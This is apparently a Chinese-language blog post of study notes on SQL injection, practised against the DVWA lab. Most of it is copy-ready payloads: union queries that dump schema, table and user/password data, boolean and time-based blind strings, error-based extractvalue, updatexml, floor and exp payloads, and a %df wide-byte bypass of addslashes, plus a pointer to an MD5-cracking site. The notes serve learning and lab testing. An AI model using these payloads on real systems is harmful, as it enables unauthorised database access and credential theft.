SQL注入

Sql注入分类

1, get注入
2, post注入
3, cookie注入
4, http头注入

安执行分类

1, 基于报错注入
2, 联合查询注入
3, 堆叠注入
4, 宽字节注入
5, 布尔注入,时间注入

Sql中重要的语句

1, CREATE DATABASE 创建数据库
2, ALTER DATABASE 修改数据库结构
3, CREATE TABLE
4, SELECT
5, UPDATE
6, DELETE
7, INSERT INTO 插入数据

常见的sql注入语句
1' and '1'='2
1' or '1'='1
1'  order by 1#
1' union select 1,2#
1' union select 1,database()#
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#   查看表名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#   查看列
1' union select user,password from users#

show databases;
use dvwa;
show tables;
desc users; 查看表结构

使用逻辑操作符:select * from biao where (sal>500 or job=’manage’) and ename like ‘j%;
%表示一个或多个字符,_表示一个字符,【charlist】表示任何一个字符。

Table_schema  是库名;
Group_concat()分组查询

MD5解密网址:https://www.somd5.com/
Information数据库中识别16进制

宽字节注入

如何从addslashes函数逃逸出来?

1.\前面再加一个\(或单数个),变成\ \ ',这样\被转义了,'逃出了限制

2.把\弄没

在’前加%df

SQL盲注

W3school查看各种语言函数等基础

基于布尔的盲注
1' and length(database())=1#
1' and ascii(substr(database(),1,1))>97#
1' and (select count(table_name)from information_schema.tables where table_schema='dvwa')=1#
1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=1#
1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))>97#
1' and (select count(column_name)from information_schema.columns where table_name='users')=1#
1' and length(substr((select column_name from information_schemas where table_name='users' limit 0,0),1))=1#
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))>97#
1' and (ascii(substr((select user from users limit 0,1),1,1)))=97#
时间盲注
1' and sleep(5)#
1' and if(length(database())=1,sleep(5),1)#
1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)#
写python脚本跑

注入上传文件

在这里插入图片描述
在这里插入图片描述

报错注入

extractvalue函数:

语法:extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+ #查版本
and extractvalue(1,concat(1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))%23    #查表名
and%20extractvalue(1,concat(1,(select%20column_name%20from%20information_schema.columns%20where%20table_name=%27referers%27%20limit%200,1)))%23 #查列名
updatexml函数:

首先了解下updatexml()函数
UPDATEXML (XML_document, XPath_string, new_value);

  1. 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  2. 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
  3. 第三个参数:new_value,String格式,替换查找到的符合条件的数据 作用:改变文档中符合条件的节点的值
    改变XML_document中符合XPATH_string的值

而我们的注入语句为:

updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出
ERROR 1105 (HY000): XPATH syntax error: ‘:root@localhost’

floor函数:
union select count(*),concat(select @@version,floor(rand(0)*2))x from information_schema.columns group by x%23
exp函数:
  mysql> select exp(~(select*from(select user())x));  
  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))' 

//bigint超出范围;

~0是对0逐位取反 在5.5.5及以上版本

and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)>'e'%23
union select(!(select * from(select user())x)-~0)2,3--+
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值